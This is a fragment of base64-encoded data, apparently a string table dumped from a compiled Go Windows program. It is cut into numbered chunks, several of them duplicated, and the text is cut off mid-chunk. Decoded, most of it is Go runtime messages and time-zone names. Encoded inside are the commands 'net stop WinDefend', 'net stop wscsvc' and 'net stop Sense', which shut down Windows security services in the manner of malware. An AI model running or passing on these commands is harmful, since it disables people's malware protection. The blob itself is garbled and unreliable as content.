lIHNpemVhcmVuYSBhbHJlYWR5IGluaXRpYWxpemVkIHRvIHVudXNlZCByZWdpb24gb2Ygc3BhbiBieXRlcyBmYWlsZWQgd2l0aCBlcnJubz1ydW50aW1lOiBWaXJ0dWFsQWxsb2Mgb2YgL3NjaGVkL2dvbWF4cHJvY3M6dGhyZWFkc21pc3NpbmcgdHlwZSBpbiBmaW5hbGl6ZXJyZW1haW5pbmcgcG9pbnRlciBidWZmZXJzc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZV9jZ29fdGhyZWFkX3N0YXJ0IG1pc3NpbmdhbGxnYWRkOiBiYWQgc3RhdHVzIEdpZGxlcnVudGltZTogcHJvZ3JhbSBleGNlZWRzIHN0YXJ0bTogcCBoYXMgcnVubmFibGUgZ3NzdG9wbG9ja2VkbTogbm90IHJ1bm5hYmxlcmVsZWFzZXA6IGludmFsaWQgcCBzdGF0ZWNoZWNrZGVhZDogbm8gcCBmb3IgdGltZXJjaGVja2RlYWQ6IG5vIG0gZm9yIHRpbWVydW5rbm93biBzaWd0cmFtcCBjYWxsYmFja3VuZXhwZWN0ZWQgZmF1bHQgYWRkcmVzcyBtaXNzaW5nIHN0YWNrIGluIG5ld3N0YWNrYmFkIHN0YXR1cyBpbiBzaHJpbmtzdGFja21pc3NpbmcgdHJhY2VHQ1N3ZWVwU3RhcnRyZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkb3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzc25vIGJ1ZmZlciBzcGFjZSBhdmFpbGFibGVubyBzdWNoIGRldmljZSBvciBhZGRyZXNzc29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZGludmFsaWQgY3Jvc3MtZGV2aWNlIGxpbmtHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZWluY29uc2lzdGVudCBwb2xsLmZkTXV0ZXh1bmV4cGVjdGVkIGtleSB2YWx1ZSB0eXBlRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzV2hhc2ggb2YgdW5oYXNoYWJsZSB0eXBlOiBHT0RFQlVHOiBjYW4gbm90IGVuYWJsZSAiR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVTb3V0aCBBZnJpY2EgU3RhbmRhcmQgVGltZVNhaW50IFBpZXJyZSBTdGFuZGFyZCBUaW1lTmV3Zm91bmRsYW5kIFN0YW5kYXJkIFRpbWVDZW50cmFsIEFzaWEgU3RhbmRhcmQgVGltZUVr15a:T558,bG9jazogbG9jayBjb3VudGJhZCBzeXN0ZW0gaHVnZSBwYWdlIHNpemVhcmVuYSBhbHJlYWR5IGluaXRpYWxpemVkIHRvIHVudXNlZCByZWdpb24gb2Ygc3BhbiBieXRlcyBmYWlsZWQgd2l0aCBlcnJubz1ydW50aW1lOiBWaXJ0dWFsQWxsb2Mgb2YgL3NjaGVkL2dvbWF4cHJvY3M6dGhyZWFkc21pc3NpbmcgdHlwZSBpbiBmaW5hbGl6ZXJyZW1haW5pbmcgcG9pbnRlciBidWZmZXJzc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZV9jZ29fdGhyZWFkX3N0YXJ0IG1pc3NpbmdhbGxnYWRkOiBiYWQgc3RhdHVzIEdpZGxlcnVudGltZTogcHJvZ3JhbSBleGNlZWRzIHN0YXJ0bTogcCBoYXMgcnVubmFibGUgZ3NzdG9wbG9ja2VkbTogbm90IHJ1bm5hYmxlcmVsZWFzZXA6IGludmFsaWQgcCBzdGF0ZWNoZWNrZGVhZDogbm8gcCBmb3IgdGltZXJjaGVja2RlYWQ6IG5vIG0gZm9yIHRpbWVydW5rbm93biBzaWd0cmFtcCBjYWxsYmFja3VuZXhwZWN0ZWQgZmF1bHQgYWRkcmVzcyBtaXNzaW5nIHN0YWNrIGluIG5ld3N0YWNrYmFkIHN0YXR1cyBpbiBzaHJpbmtzdGFja21pc3NpbmcgdHJhY2VHQ1N3ZWVwU3RhcnRyZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkb3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzc25vIGJ1ZmZlciBzcGFjZSBhdmFpbGFibGVubyBzdWNoIGRldmljZSBvciBhZGRyZXNzc29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZGludmFsaWQgY3Jvc3MtZGV2aWNlIGxpbmtHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZWluY29uc2lzdGVudCBwb2xsLmZkTXV0ZXh1bmV4cGVjdGVkIGtleSB2YWx1ZSB0eXBlRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzV2hhc2ggb2YgdW5oYXNoYWJsZSB0eXBlOiBHT0RFQlVHOiBjYW4gbm90IGVuYWJsZSAiR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVTb3V0aCBBZnJpY2EgU3RhbmRhcmQgVGltZVNhaW50IFBpZXJyZSBTdGFuZGFyZCBUaW1lTmV3Zm91bmRsYW5kIFN0YW5kYXJkIFRpbWVDZW50cmFsIEFzaWEgU3RhbmRhcmQgVGltZUVrYQ==15b:T554,bG9jazogc2xlZXBpbmcgd2hpbGUgbG9jayBpcyBhdmFpbGFibGVQIGhhcyBjYWNoZWQgR0Mgd29yayBhdCBlbmQgb2YgbWFyayB0ZXJtaW5hdGlvbmZhaWxlZCB0byBhY3F1aXJlIGxvY2sgdG8gc3RhcnQgYSBHQyB0cmFuc2l0aW9uZmluaXNoR0NUcmFuc2l0aW9uIGNhbGxlZCB3aXRob3V0IHN0YXJ0aW5nIG9uZT90cmllZCB0byBzbGVlcCBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IENyZWF0ZUlvQ29tcGxldGlvblBvcnQgZmFpbGVkIChlcnJubz0gcmFjeSBzdWRvZyBhZGp1c3RtZW50IGR1ZSB0byBwYXJraW5nIG9uIGNoYW5uZWxmdW5jdGlvbiBzeW1ib2wgdGFibGUgbm90IHNvcnRlZCBieSBQQyBvZmZzZXQ6IGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgZ29yb3V0aW5lYXR0ZW1wdGluZyB0byBsaW5rIGluIHRvbyBtYW55IHNoYXJlZCBsaWJyYXJpZXNzdHJjb252OiBpbGxlZ2FsIEFwcGVuZEZsb2F0L0Zvcm1hdEZsb2F0IGJpdFNpemVub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDY0Yml0UG93MTBzbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXhdIHdpdGggY2FwYWNpdHkgJXkgIGlzIHJlYWNoYWJsZSBmcm9tIGNsZWFudXAgb3IgY2xlYW51cCBhcmd1bWVudHJ1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3QgdW5leHBlY3RlZDsgcmVzdWx0PUNyZWF0ZVdhaXRhYmxlVGltZXJFeCB3aGVuIGNyZWF0aW5nIHRpbWVyIGZhaWxlZHJ1bnRpbWUucHJlZW1wdE06IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IG1hbGZvcm1lZCBwcm9mQnVmIGJ1ZmZlciAtIGludmFsaWQgc2l6ZXJ1bnRpbWU6IHRhZ2dlZFBvaW50ZXJQYWNrIGludmFsaWQgcGFja2luZzogcHRyPWF0dGVtcHQgdG8gdHJhY2UgaW52YWxpZCBvciB1bnN1cHBvcnRlZCBQIHN0YXR1c3J1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3Qgd2FpdF9mYWlsZWQ7IGVycm5vPW5ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM=15c:T554,bG9jazogc2xlZXBpbmcgd2hpbGUgbG9jayBpcyBhdmFpbGFibGVQIGhhcyBjYWNoZWQgR0Mgd29yayBhdCBlbmQgb2YgbWFyayB0ZXJtaW5hdGlvbmZhaWxlZCB0byBhY3F1aXJlIGxvY2sgdG8gc3RhcnQgYSBHQyB0cmFuc2l0aW9uZmluaXNoR0NUcmFuc2l0aW9uIGNhbGxlZCB3aXRob3V0IHN0YXJ0aW5nIG9uZT90cmllZCB0byBzbGVlcCBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IENyZWF0ZUlvQ29tcGxldGlvblBvcnQgZmFpbGVkIChlcnJubz0gcmFjeSBzdWRvZyBhZGp1c3RtZW50IGR1ZSB0byBwYXJraW5nIG9uIGNoYW5uZWxmdW5jdGlvbiBzeW1ib2wgdGFibGUgbm90IHNvcnRlZCBieSBQQyBvZmZzZXQ6IGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgZ29yb3V0aW5lYXR0ZW1wdGluZyB0byBsaW5rIGluIHRvbyBtYW55IHNoYXJlZCBsaWJyYXJpZXNzdHJjb252OiBpbGxlZ2FsIEFwcGVuZEZsb2F0L0Zvcm1hdEZsb2F0IGJpdFNpemVub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDY0Yml0UG93MTBzbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXhdIHdpdGggY2FwYWNpdHkgJXkgIGlzIHJlYWNoYWJsZSBmcm9tIGNsZWFudXAgb3IgY2xlYW51cCBhcmd1bWVudHJ1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3QgdW5leHBlY3RlZDsgcmVzdWx0PUNyZWF0ZVdhaXRhYmxlVGltZXJFeCB3aGVuIGNyZWF0aW5nIHRpbWVyIGZhaWxlZHJ1bnRpbWUucHJlZW1wdE06IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IG1hbGZvcm1lZCBwcm9mQnVmIGJ1ZmZlciAtIGludmFsaWQgc2l6ZXJ1bnRpbWU6IHRhZ2dlZFBvaW50ZXJQYWNrIGludmFsaWQgcGFja2luZzogcHRyPWF0dGVtcHQgdG8gdHJhY2UgaW52YWxpZCBvciB1bnN1cHBvcnRlZCBQIHN0YXR1c3J1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3Qgd2FpdF9mYWlsZWQ7IGVycm5vPW5ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM715d:T554,bWFwcnVudGltZTogYmFkIGcgaW4gY2dvY2FsbGJhY2sgKHR5cGVzIGZyb20gZGlmZmVyZW50IHNjb3Blcylub3RldHNsZWVwIC0gd2FpdG0gb3V0IG9mIHN5bmNmYWlsZWQgdG8gZ2V0IHN5c3RlbSBwYWdlIHNpemVydW50aW1lOiBmb3VuZCBpbiBvYmplY3QgYXQgKiggaW4gcHJlcGFyZUZvclN3ZWVwOyBzd2VlcGdlbiAgIGlzIHJlYWNoYWJsZSBmcm9tIGZpbmFsaXplci9jcHUvY2xhc3Nlcy90b3RhbDpjcHUtc2Vjb25kcy9nYy9jeWNsZXMvYXV0b21hdGljOmdjLWN5Y2xlcy9zY2hlZC9wYXVzZXMvdG90YWwvZ2M6c2Vjb25kcy9zeW5jL211dGV4L3dhaXQvdG90YWw6c2Vjb25kcy9nb2RlYnVnL25vbi1kZWZhdWx0LWJlaGF2aW9yL2JjcnlwdHByaW1pdGl2ZXMuZGxsIG5vdCBmb3VuZHBhbmljIGNhbGxlZCB3aXRoIG5pbCBhcmd1bWVudGNoZWNrZGVhZDogaW5jb25zaXN0ZW50IGNvdW50c3J1bnFwdXRzbG93OiBxdWV1ZSBpcyBub3QgZnVsbHJ1bnRpbWU6IGJhZCBwb2ludGVyIGluIGZyYW1lIGludmFsaWQgcG9pbnRlciBmb3VuZCBvbiBzdGFjayBsb2NhbHMgc3RhY2sgbWFwIGVudHJpZXMgZm9yIGFiaSBtaXNtYXRjaCBkZXRlY3RlZCBiZXR3ZWVuIHJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kIHVuc2FmZS5TbGljZTogbGVuIG91dCBvZiByYW5nZXNvY2tldCBvcGVyYXRpb24gb24gbm9uLXNvY2tldGluYXBwcm9wcmlhdGUgaW9jdGwgZm9yIGRldmljZXByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldHJlZmxlY3Q6IExlbiBvZiBub24tYXJyYXkgdHlwZXN5bmM6IGluY29uc2lzdGVudCBtdXRleCBzdGF0ZXN5bmM6IHVubG9jayBvZiB1bmxvY2tlZCBtdXRleEdPREVCVUc6IHVua25vd24gY3B1IGZlYXR1cmUgImZtdDogdW5rbm93biBiYXNlOyBjYW4ndCBoYXBwZW5XLiBDZW50cmFsIEFmcmljYSBTdGFuZGFyZCBUaW1lQ2VudHJhbCBCcmF6aWxpYW4gU3RhbmRhcmQgVGltZU1vdW50YWluIFN0YW5kYXJkIFRpbWUgKE1leGljbykxMTM2ODY4Mzc3MjE2MTYwMjk3MzkzNzk4OA==15e:T554,bWFwcnVudGltZTogYmFkIGcgaW4gY2dvY2FsbGJhY2sgKHR5cGVzIGZyb20gZGlmZmVyZW50IHNjb3Blcylub3RldHNsZWVwIC0gd2FpdG0gb3V0IG9mIHN5bmNmYWlsZWQgdG8gZ2V0IHN5c3RlbSBwYWdlIHNpemVydW50aW1lOiBmb3VuZCBpbiBvYmplY3QgYXQgKiggaW4gcHJlcGFyZUZvclN3ZWVwOyBzd2VlcGdlbiAgIGlzIHJlYWNoYWJsZSBmcm9tIGZpbmFsaXplci9jcHUvY2xhc3Nlcy90b3RhbDpjcHUtc2Vjb25kcy9nYy9jeWNsZXMvYXV0b21hdGljOmdjLWN5Y2xlcy9zY2hlZC9wYXVzZXMvdG90YWwvZ2M6c2Vjb25kcy9zeW5jL211dGV4L3dhaXQvdG90YWw6c2Vjb25kcy9nb2RlYnVnL25vbi1kZWZhdWx0LWJlaGF2aW9yL2JjcnlwdHByaW1pdGl2ZXMuZGxsIG5vdCBmb3VuZHBhbmljIGNhbGxlZCB3aXRoIG5pbCBhcmd1bWVudGNoZWNrZGVhZDogaW5jb25zaXN0ZW50IGNvdW50c3J1bnFwdXRzbG93OiBxdWV1ZSBpcyBub3QgZnVsbHJ1bnRpbWU6IGJhZCBwb2ludGVyIGluIGZyYW1lIGludmFsaWQgcG9pbnRlciBmb3VuZCBvbiBzdGFjayBsb2NhbHMgc3RhY2sgbWFwIGVudHJpZXMgZm9yIGFiaSBtaXNtYXRjaCBkZXRlY3RlZCBiZXR3ZWVuIHJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kIHVuc2FmZS5TbGljZTogbGVuIG91dCBvZiByYW5nZXNvY2tldCBvcGVyYXRpb24gb24gbm9uLXNvY2tldGluYXBwcm9wcmlhdGUgaW9jdGwgZm9yIGRldmljZXByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldHJlZmxlY3Q6IExlbiBvZiBub24tYXJyYXkgdHlwZXN5bmM6IGluY29uc2lzdGVudCBtdXRleCBzdGF0ZXN5bmM6IHVubG9jayBvZiB1bmxvY2tlZCBtdXRleEdPREVCVUc6IHVua25vd24gY3B1IGZlYXR1cmUgImZtdDogdW5rbm93biBiYXNlOyBjYW4ndCBoYXBwZW5XLiBDZW50cmFsIEFmcmljYSBTdGFuZGFyZCBUaW1lQ2VudHJhbCBCcmF6aWxpYW4gU3RhbmRhcmQgVGltZU1vdW50YWluIFN0YW5kYXJkIFRpbWUgKE1leGljbykxMTM2ODY4Mzc3MjE2MTYwMjk3MzkzNzk4ODI=15f:T554,bWU6IGdldGc6ICBnPWZvckVhY2hQOiBub3QgZG9uZSBpbiBhc3luYyBwcmVlbXB0YmFkIG1hbnVhbEZyZWVMaXN0cnVudGltZTogdGV4dEFkZHIgIGZyYW1lcyBlbGlkZWQuLi4sIGxvY2tlZCB0byB0aHJlYWQsIHN5bmN0ZXN0IGJ1YmJsZSBydW50aW1lLnNlbWFjcmVhdGVydW50aW1lLnNlbWF3YWtldXBzZWdtZW50YXRpb24gZmF1bHRvcGVyYXRpb24gY2FuY2VsZWRubyBjaGlsZCBwcm9jZXNzZXNjb25uZWN0aW9uIHJlZnVzZWRSRlMgc3BlY2lmaWMgZXJyb3JpZGVudGlmaWVyIHJlbW92ZWRpbnB1dC9vdXRwdXQgZXJyb3JtdWx0aWhvcCBhdHRlbXB0ZWRmaWxlIG5hbWUgdG9vIGxvbmdubyBsb2NrcyBhdmFpbGFibGVzdHJlYW1zIHBpcGUgZXJyb3JMb29rdXBBY2NvdW50TmFtZVdDcmVhdGVGaWxlTWFwcGluZ1dHZXRGaWxlQXR0cmlidXRlc1dTZXRGaWxlQXR0cmlidXRlc1dDb21tYW5kTGluZVRvQXJndld1c2Ugb2YgY2xvc2VkIGZpbGV4NTA5bmVnYXRpdmVzZXJpYWxyZWZsZWN0LlZhbHVlLklzTmlscmVmbGVjdC5WYWx1ZS5GbG9hdFdhaXRGb3JTaW5nbGVPYmplY3RHZXRGaWxlQXR0cmlidXRlc0V4ZXhlYzogY2FuY2VsaW5nIENtZEVneXB0IFN0YW5kYXJkIFRpbWVTdWRhbiBTdGFuZGFyZCBUaW1lTGlieWEgU3RhbmRhcmQgVGltZUJhaGlhIFN0YW5kYXJkIFRpbWVIYWl0aSBTdGFuZGFyZCBUaW1lWXVrb24gU3RhbmRhcmQgVGltZUFsdGFpIFN0YW5kYXJkIFRpbWVJbmRpYSBTdGFuZGFyZCBUaW1lU3lyaWEgU3RhbmRhcmQgVGltZVJ1c3NpYSBUaW1lIFpvbmUgMTFOZXBhbCBTdGFuZGFyZCBUaW1lS29yZWEgU3RhbmRhcmQgVGltZUNoaW5hIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDEwVG9reW8gU3RhbmRhcmQgVGltZVRvbXNrIFN0YW5kYXJkIFRpbWVTYW1vYSBTdGFuZGFyZCBUaW1lVG9uZ2EgU3RhbmRhcmQgVGltZTE0OTAxMTYxMTkzODQ3NjU2MjU3NDUwNTgwNTk2OTIzODI4MTI1cmVmbGVjdC5WYWx1ZS5CeXRlc3JlZmxlY3QuVmFsdWUuRmllbGRyZWZsZWN0LlZhbA==160:T554,bWU6IGdldGc6ICBnPWZvckVhY2hQOiBub3QgZG9uZSBpbiBhc3luYyBwcmVlbXB0YmFkIG1hbnVhbEZyZWVMaXN0cnVudGltZTogdGV4dEFkZHIgIGZyYW1lcyBlbGlkZWQuLi4sIGxvY2tlZCB0byB0aHJlYWQsIHN5bmN0ZXN0IGJ1YmJsZSBydW50aW1lLnNlbWFjcmVhdGVydW50aW1lLnNlbWF3YWtldXBzZWdtZW50YXRpb24gZmF1bHRvcGVyYXRpb24gY2FuY2VsZWRubyBjaGlsZCBwcm9jZXNzZXNjb25uZWN0aW9uIHJlZnVzZWRSRlMgc3BlY2lmaWMgZXJyb3JpZGVudGlmaWVyIHJlbW92ZWRpbnB1dC9vdXRwdXQgZXJyb3JtdWx0aWhvcCBhdHRlbXB0ZWRmaWxlIG5hbWUgdG9vIGxvbmdubyBsb2NrcyBhdmFpbGFibGVzdHJlYW1zIHBpcGUgZXJyb3JMb29rdXBBY2NvdW50TmFtZVdDcmVhdGVGaWxlTWFwcGluZ1dHZXRGaWxlQXR0cmlidXRlc1dTZXRGaWxlQXR0cmlidXRlc1dDb21tYW5kTGluZVRvQXJndld1c2Ugb2YgY2xvc2VkIGZpbGV4NTA5bmVnYXRpdmVzZXJpYWxyZWZsZWN0LlZhbHVlLklzTmlscmVmbGVjdC5WYWx1ZS5GbG9hdFdhaXRGb3JTaW5nbGVPYmplY3RHZXRGaWxlQXR0cmlidXRlc0V4ZXhlYzogY2FuY2VsaW5nIENtZEVneXB0IFN0YW5kYXJkIFRpbWVTdWRhbiBTdGFuZGFyZCBUaW1lTGlieWEgU3RhbmRhcmQgVGltZUJhaGlhIFN0YW5kYXJkIFRpbWVIYWl0aSBTdGFuZGFyZCBUaW1lWXVrb24gU3RhbmRhcmQgVGltZUFsdGFpIFN0YW5kYXJkIFRpbWVJbmRpYSBTdGFuZGFyZCBUaW1lU3lyaWEgU3RhbmRhcmQgVGltZVJ1c3NpYSBUaW1lIFpvbmUgMTFOZXBhbCBTdGFuZGFyZCBUaW1lS29yZWEgU3RhbmRhcmQgVGltZUNoaW5hIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDEwVG9reW8gU3RhbmRhcmQgVGltZVRvbXNrIFN0YW5kYXJkIFRpbWVTYW1vYSBTdGFuZGFyZCBUaW1lVG9uZ2EgU3RhbmRhcmQgVGltZTE0OTAxMTYxMTkzODQ3NjU2MjU3NDUwNTgwNTk2OTIzODI4MTI1cmVmbGVjdC5WYWx1ZS5CeXRlc3JlZmxlY3QuVmFsdWUuRmllbGRyZWZsZWN0LlZhbHU=161:T554,bXN0YXJ0bSBub3QgZm91bmQgaW4gYWxsbXN0b3BtIGhvbGRpbmcgbG9ja3NzZW1hUm9vdCByb3RhdGVMZWZ0YmFkIG5vdGlmeUxpc3Qgc2l6ZXJ1bnRpbWU6IHByZWVtcHQgZzBydW50aW1lOiBwY2RhdGEgaXMgYmFkIEFCSSBkZXNjcmlwdGlvbmlsbGVnYWwgaW5zdHJ1Y3Rpb25iYWQgZmlsZSBkZXNjcmlwdG9yZGlzayBxdW90YSBleGNlZWRlZHRvbyBtYW55IG9wZW4gZmlsZXNkZXZpY2Ugbm90IGEgc3RyZWFtZGlyZWN0b3J5IG5vdCBlbXB0eUNyeXB0UmVsZWFzZUNvbnRleHRHZXRUb2tlbkluZm9ybWF0aW9uQ3JlYXRlU3ltYm9saWNMaW5rV0dldEN1cnJlbnRQcm9jZXNzSWRmaWxlIGFscmVhZHkgZXhpc3RzZmlsZSBkb2VzIG5vdCBleGlzdGZpbGUgYWxyZWFkeSBjbG9zZWRlbWJlZGZvbGxvd3N5bWxpbmtzZ290ZXN0anNvbmJ1aWxkdGV4dG11bHRpcGFydG1heGhlYWRlcnNKb3JkYW4gU3RhbmRhcmQgVGltZUFyYWJpYyBTdGFuZGFyZCBUaW1lSXNyYWVsIFN0YW5kYXJkIFRpbWVUYWlwZWkgU3RhbmRhcmQgVGltZUF6b3JlcyBTdGFuZGFyZCBUaW1lVHVya2V5IFN0YW5kYXJkIFRpbWVpbnZhbGlkIHdyaXRlIHJlc3VsdDM3MjUyOTAyOTg0NjE5MTQwNjI1R2V0QWRhcHRlcnNBZGRyZXNzZXNOdFNldEluZm9ybWF0aW9uRmlsZVJ0bElzRG9zRGV2aWNlTmFtZV9VR2V0UHJvY2Vzc01lbW9yeUluZm9iY3J5cHRwcmltaXRpdmVzLmRsbGZsb2F0aW5nIHBvaW50IGVycm9yR0Mgc3dlZXAgdGVybWluYXRpb25SZXNldERlYnVnTG9nICh0ZXN0KWNoYW4gc2VuZCAobmlsIGNoYW4pZmx1c2hpbmcgcHJvYyBjYWNoZXNjbG9zZSBvZiBuaWwgY2hhbm5lbGluY29uc2lzdGVudCBsb2NrZWRtbm90ZXRzbGVlcCBub3Qgb24gZzBiYWQgc3lzdGVtIHBhZ2Ugc2l6ZSB0byB1bmFsbG9jYXRlZCBzcGFuL2djL3NjYW4vc3RhY2s6Ynl0ZXMvZ2Mvc2Nhbi90b3RhbDpieXRlcy9nYy9oZWFwL2ZyZWVzOmJ5dGVzL2djL2dvbWVtbGltaXQ6Ynl0ZXNwIG1jYWNoZSBub3QgZmx1c2hlZCBtYXJrcm9vdCBqb2JzIGRvbmU=162:T554,bXN0YXJ0bSBub3QgZm91bmQgaW4gYWxsbXN0b3BtIGhvbGRpbmcgbG9ja3NzZW1hUm9vdCByb3RhdGVMZWZ0YmFkIG5vdGlmeUxpc3Qgc2l6ZXJ1bnRpbWU6IHByZWVtcHQgZzBydW50aW1lOiBwY2RhdGEgaXMgYmFkIEFCSSBkZXNjcmlwdGlvbmlsbGVnYWwgaW5zdHJ1Y3Rpb25iYWQgZmlsZSBkZXNjcmlwdG9yZGlzayBxdW90YSBleGNlZWRlZHRvbyBtYW55IG9wZW4gZmlsZXNkZXZpY2Ugbm90IGEgc3RyZWFtZGlyZWN0b3J5IG5vdCBlbXB0eUNyeXB0UmVsZWFzZUNvbnRleHRHZXRUb2tlbkluZm9ybWF0aW9uQ3JlYXRlU3ltYm9saWNMaW5rV0dldEN1cnJlbnRQcm9jZXNzSWRmaWxlIGFscmVhZHkgZXhpc3RzZmlsZSBkb2VzIG5vdCBleGlzdGZpbGUgYWxyZWFkeSBjbG9zZWRlbWJlZGZvbGxvd3N5bWxpbmtzZ290ZXN0anNvbmJ1aWxkdGV4dG11bHRpcGFydG1heGhlYWRlcnNKb3JkYW4gU3RhbmRhcmQgVGltZUFyYWJpYyBTdGFuZGFyZCBUaW1lSXNyYWVsIFN0YW5kYXJkIFRpbWVUYWlwZWkgU3RhbmRhcmQgVGltZUF6b3JlcyBTdGFuZGFyZCBUaW1lVHVya2V5IFN0YW5kYXJkIFRpbWVpbnZhbGlkIHdyaXRlIHJlc3VsdDM3MjUyOTAyOTg0NjE5MTQwNjI1R2V0QWRhcHRlcnNBZGRyZXNzZXNOdFNldEluZm9ybWF0aW9uRmlsZVJ0bElzRG9zRGV2aWNlTmFtZV9VR2V0UHJvY2Vzc01lbW9yeUluZm9iY3J5cHRwcmltaXRpdmVzLmRsbGZsb2F0aW5nIHBvaW50IGVycm9yR0Mgc3dlZXAgdGVybWluYXRpb25SZXNldERlYnVnTG9nICh0ZXN0KWNoYW4gc2VuZCAobmlsIGNoYW4pZmx1c2hpbmcgcHJvYyBjYWNoZXNjbG9zZSBvZiBuaWwgY2hhbm5lbGluY29uc2lzdGVudCBsb2NrZWRtbm90ZXRzbGVlcCBub3Qgb24gZzBiYWQgc3lzdGVtIHBhZ2Ugc2l6ZSB0byB1bmFsbG9jYXRlZCBzcGFuL2djL3NjYW4vc3RhY2s6Ynl0ZXMvZ2Mvc2Nhbi90b3RhbDpieXRlcy9nYy9oZWFwL2ZyZWVzOmJ5dGVzL2djL2dvbWVtbGltaXQ6Ynl0ZXNwIG1jYWNoZSBub3QgZmx1c2hlZCBtYXJrcm9vdCBqb2JzIGRvbmVw163:T554,bmV0IHN0b3AgU2Vuc2Vub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDEyOGJpdFBvdzEwc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBjYXBhY2l0eSAleWludmFsaWQgbWVtb3J5IGFkZHJlc3Mgb3IgbmlsIHBvaW50ZXIgZGVyZWZlcmVuY2VwYW5pY3dyYXA6IHVuZXhwZWN0ZWQgc3RyaW5nIGFmdGVyIHBhY2thZ2UgbmFtZTogcnVudGltZTogdW5leHBlY3RlZCB3YWl0bSAtIHNlbWFwaG9yZSBvdXQgb2Ygc3luY3MuYWxsb2NDb3VudCAhPSBzLm5lbGVtcyAmJiBmcmVlSW5kZXggPT0gcy5uZWxlbXNzd2VlcGVyIGxlZnQgb3V0c3RhbmRpbmcgYWNyb3NzIHN3ZWVwIGdlbmVyYXRpb25zZnVsbHkgZW1wdHkgdW5mcmVlZCBzcGFuIHNldCBibG9jayBmb3VuZCBpbiByZXNldGNhc2dzdGF0dXM6IHdhaXRpbmcgZm9yIEd3YWl0aW5nIGJ1dCBpcyBHcnVubmFibGVpbnZhbGlkIG9yIGluY29tcGxldGUgbXVsdGlieXRlIG9yIHdpZGUgY2hhcmFjdGVycnVudGltZTogdW5hYmxlIHRvIGFjcXVpcmUgLSBzZW1hcGhvcmUgb3V0IG9mIHN5bmNtYWxsb2NnYyBjYWxsZWQgd2l0aCBnY3BoYXNlID09IF9HQ21hcmt0ZXJtaW5hdGlvbnJ1bnRpbWUuUGlubmVyOiBvYmplY3Qgd2FzIGFsbG9jYXRlZCBpbnRvIGFuIGFyZW5hcnVudGltZS5QaW5uZXI6IGRlY3JlYXNlZCBub24tZXhpc3RpbmcgcGluIGNvdW50ZXJyZWN1cnNpdmUgY2FsbCBkdXJpbmcgaW5pdGlhbGl6YXRpb24gLSBsaW5rZXIgc2tld2F0dGVtcHQgdG8gZXhlY3V0ZSBzeXN0ZW0gc3RhY2sgY29kZSBvbiB1c2VyIHN0YWNrY29tcGlsZUNhbGxiYWNrOiBmdW5jdGlvbiBhcmd1bWVudCBmcmFtZSB0b28gbGFyZ2VpbnRlcm5hbCBlcnJvcjogdG9vIG1hbnkgcmVsZWFzZXMgb2YgcHJvY2VzcyBoYW5kbGVsaW1pdGVyRXZlbnQuc3RvcDogaW52YWxpZCBsaW1pdGVyIGV2ZW50IHR5cGUgZm91bmRwb3RlbnRpYWxseSBvdmVybGFwcGluZyBpbi11c2UgYWxsb2NhdGlvbnMgZGV0ZWN0ZWRydW50aW1lOiBuZXRwb2xs164:T558,bmV0IHN0b3AgU2Vuc2Vub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDEyOGJpdFBvdzEwc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBjYXBhY2l0eSAleWludmFsaWQgbWVtb3J5IGFkZHJlc3Mgb3IgbmlsIHBvaW50ZXIgZGVyZWZlcmVuY2VwYW5pY3dyYXA6IHVuZXhwZWN0ZWQgc3RyaW5nIGFmdGVyIHBhY2thZ2UgbmFtZTogcnVudGltZTogdW5leHBlY3RlZCB3YWl0bSAtIHNlbWFwaG9yZSBvdXQgb2Ygc3luY3MuYWxsb2NDb3VudCAhPSBzLm5lbGVtcyAmJiBmcmVlSW5kZXggPT0gcy5uZWxlbXNzd2VlcGVyIGxlZnQgb3V0c3RhbmRpbmcgYWNyb3NzIHN3ZWVwIGdl